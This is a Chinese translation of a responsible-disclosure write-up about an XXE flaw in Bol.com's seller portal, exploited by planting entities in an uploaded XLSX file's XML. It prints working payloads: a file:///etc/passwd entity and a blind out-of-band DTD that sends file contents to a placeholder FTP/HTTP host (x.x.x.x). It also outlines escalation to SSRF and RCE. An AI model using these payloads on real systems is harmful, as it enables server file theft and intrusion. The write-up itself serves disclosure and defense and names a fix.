看我如何發現Bol.com網站的XXE漏洞併成功利用

背景

在之前的報告中,我們學到了許多有關在訪問者的瀏覽器中執行代碼的知識;反射型XSS存儲型XSS。此外,我們還快速查看了錯誤配置的服務器設置和Open Redirect(開放式重定向)

今天,我們將探討的是如何從服務器竊取私有文件。

選擇目標

像往常一樣,我們需要一個好的目標。Bol.com是荷蘭最大的電子商務網站之一。他們對我提交的開放式重定向錯誤報告的處理非常積極;快速的回覆,修復並始終向我發送更新。沒有任何額外的麻煩,沒有NDA保密協議,輕鬆愉快的語氣。可以說這是其他公司處理負責任披露的完美範例。也是一家你 值得加入的公司

在開始正式的內容前,讓我們先來了解下什麼是XXE,LFI和RCE。

本地文件包含(LFI)是在服務器響應中顯示內部服務器文件的過程。遠程執行代碼(RCE)是在服務器上執行我們自己代碼的過程。

通常LFI錯誤會導致RCE;有很多技巧可以用來將LFI升級爲RCE

RCE漏洞會對服務器安全帶來巨大的威脅,因爲它可能會最終導致完整的服務器接管。儘管大多數服務器在訪問受限的帳戶下執行來自Web服務器的代碼,但操作系統本身仍時不時會存在一些缺陷。允許繞過此特定訪問限制的缺陷。你可能在過去使用過這種類型的bug;通過在iPhone上越獄iOS或root你的安卓手機。兩者都是利用了bug來接管操作系統。我們將此類攻擊稱爲提權。

XML外部實體(XXE)攻擊基於擴展XML文件,加載本地文件和外部URL。它可能會導致LFI和RCE,因此它同樣具有很大的威脅性。雖然XXE攻擊發現於十多年前,但至今你仍然可以在許多網站上發現這個漏洞。

可擴展標記語言(XML)

XML是一種標記語言,允許創建計算機和人都易於閱讀的文檔。雖然有人說這種語言已經過時,但直到現在仍有許多地方在使用它。

shili

如果我們仔細查看該示例,會注意到contents在標記之間,例如<body>contents</body>。因此,我們應該轉義標籤內的特定字符。否則,將有可能被人惡意注入標籤並操縱整個XML文件。默認情況下,XML會將<>&’”字符轉義爲類似&lt;&gt;&amp;&apos;&quot;的實體。因此,我們仍可以在不破壞XML文件的情況下使用字符。

XML有一個很好的功能,就是允許我們通過在XML文檔中包含Document類型定義(DTD)來定義我們自己的實體。如下所示。

2.png

DTD 示例:

Example DTD
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY body "Don't forget me this weekend!" >
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>

利用 XML 解析器

3.png

但是如果解析器允許我們定義文件而不是字符串呢?結果將是實體被文件中的內容替換。通過更改<!ENTITY body “Don’t forget me this weekend!” >爲<!ENTITY body SYSTEM “file:///etc/passwd” >一些解析器將會向我們直接顯示/etc/passwd文件的內容。

除了LFI,一些XML解析器還允許我們加載外部URL;只需用http://替換file://字符串即可。webserver將請求此URL。這可能會導致SSRF攻擊;你也可以請求內部webserver,掃描開放端口並映射內部網絡。你是否能夠訪問到包含元數據的本地webservers?如果是那麼恭喜你,你最終可能得到 25000美元的漏洞賞金

其他可能性是通過PHP模塊直接獲取RCE和拒絕服務攻擊

上述LFI攻擊只有在我們的輸入返回到某個地方時纔可行。否則我們無法讀取被替換的實體。如果遇到這種情況,可以使用以下技巧來泄漏數據。

盲XXE?通過HTTP/FTP請求外部DTD泄漏數據

所以服務器會解析你的XML,但沒有向你顯示響應中的內容?

由於你可以加載外部DTD,因此你可以將自定義實體附加到外部URL。只要URL有效,它就會加載附加了(文件)內容的URL。請注意像#這樣的字符會破壞url。

XXEserve

XXEserve是一個由staaldraad創建的用於捕獲XXE請求的一個非常棒的工具。它是一個簡單的FTP/HTTP服務器,會顯示所有我們對服務器的請求。它還僞造了一個FTP服務器;由於字符串中字符的原因,HTTP有時會失敗,FTP則會保持正常工作。

快速開始

1.在公共服務器上安裝XXEserv

2.創建包含要泄漏的文件或(內部)URL的外部DTD文件(即sp2.dtd)。將x.x.x.x替換爲服務器的IP地址或主機名:

<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">

3.將此外部DTD文件放在XXEserv目錄中。XXEserv充當公共ftp和Web服務器;所以我們現在能夠鏈接這個文件。

4.將XML payload發送給受害者,包括我們的外部DTD:

<?xml version=”1.0" encoding=”UTF-8"?>
<!DOCTYPE r [
<!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
%a;
%c;
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body><r>&body;</r></body>
</note>

5.觀察XXEserv的輸出

4.JPG

如果想查看不同變種的XXE payloads,請點擊此處[1][2]。

我們需要找到一種方法將我們的XML代碼上傳或注入到Bol.com。我們可以從他們的“賣家門戶”入手。大多數情況下,賣家能夠上傳與其產品相關的圖片或其他文件。

5.png

網站的這一部分允許用戶上傳準備好(再次)銷售的產品。

6.png

一句簡短的荷蘭語:’Aanbod beheren via excel’意思是“在excel中管理庫存”。

此界面共包含有三個步驟:

1.下載包含當前庫存的Excel文件

2.上傳更改的Excel文件

3.查看上傳結果

庫存 Excel 文件

Excel文件的擴展名爲XLSX。這是微軟開發的一種開放文件格式;它是一個包含多個XML文件的zip文件。

7.png

讓我們解壓這個文件。

8.png9.png

如果我們打開sheet1.xml,我們將看到以下代碼。

假設我們想嘗試將/etc/passwd的文件內容注入到Offer描述中(這是G4單元格,請參閱原始Excel工作表)。

正如我們在圖中所看到的那樣,字符串’Sample description’被id 108引用。讓我們將自定義實體添加到該工作表中,並將此單元格值替換爲我們的自定義實體。

我們保存文件,再次壓縮文件夾並將文件重命名爲xlsx。

13.png

讓我們看看如果我們在步驟2中上傳文件,讓它加載,然後從步驟1再次下載文件會發生什麼。如果XXE攻擊有效,它將更新我們的示例產品(Excel中的第4行)並將/etc/passwd的文件內容注入到產品的標價說明當中。

POC

passwd.JPG

 

可以看到我們成功獲取到了/etc/passwd中的內容。現在是時候撰寫報告並通知他們了!

下一步是檢查服務器是否是支持雲元數據,檢查包含API密鑰的配置文件,並查看是否可以從LFI升級到RCE。

但由於該結果已對目標有足夠的影響,因此我決定立即通知Bol.com。我詢問他們是否需要我進一步的測試並將此升級爲RCE。但在他們回覆之前,錯誤已經被修復:-)

文件枚舉

如果我們嘗試解析目錄而不是文件(即<!ENTITY body SYSTEM “file:///etc/”>),Bol.com使用的XML解析器將返回文件名(作爲一個大字符串)。這使我們能夠快速枚舉服務器上的所有文件,而不需要爆破文件名

大批量 XXE 注入

可以在大量文件中注入XXE payload。因此,每次上傳圖片都是潛在的XXE漏洞。Buffalo創建了一個很不錯的工具,可幫助你將XXE payload輕鬆地嵌入到所有這些不同的文件中。

總結

通過編輯XML文件,我們能夠在上傳中將本地服務器文件的內容作爲字符串包含在內。之後我們能夠下載此文檔,因此我們能夠從其中一個生產服務器讀取私有文件。

解決方案

最佳解決方案是禁用XML解析器中的任何DTD支持。更多內容請參閱OWASP對不同解析器及其配置的概述

影響

- 本地文件包含

- 可能執行本地拒絕服務攻擊(未確認)

- 可能的RCE(未確認)

- 可能的SSRF(未確認)

時間線

2018.9.2 發現漏洞並通知Bol.com

2018.9.3 Bol.com確認漏洞

2018.9.4 Bol.com修復漏洞,並獎勵了價值500歐元的Bol.com優惠券

2018.9.8 撰寫本文並告知Bol.com

2018.9.11 發表本文

*參考來源:medium,FB小編secist編譯,轉載請註明來自FreeBuf.COM

secist

secist409 篇文章等級: 9

|

|

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章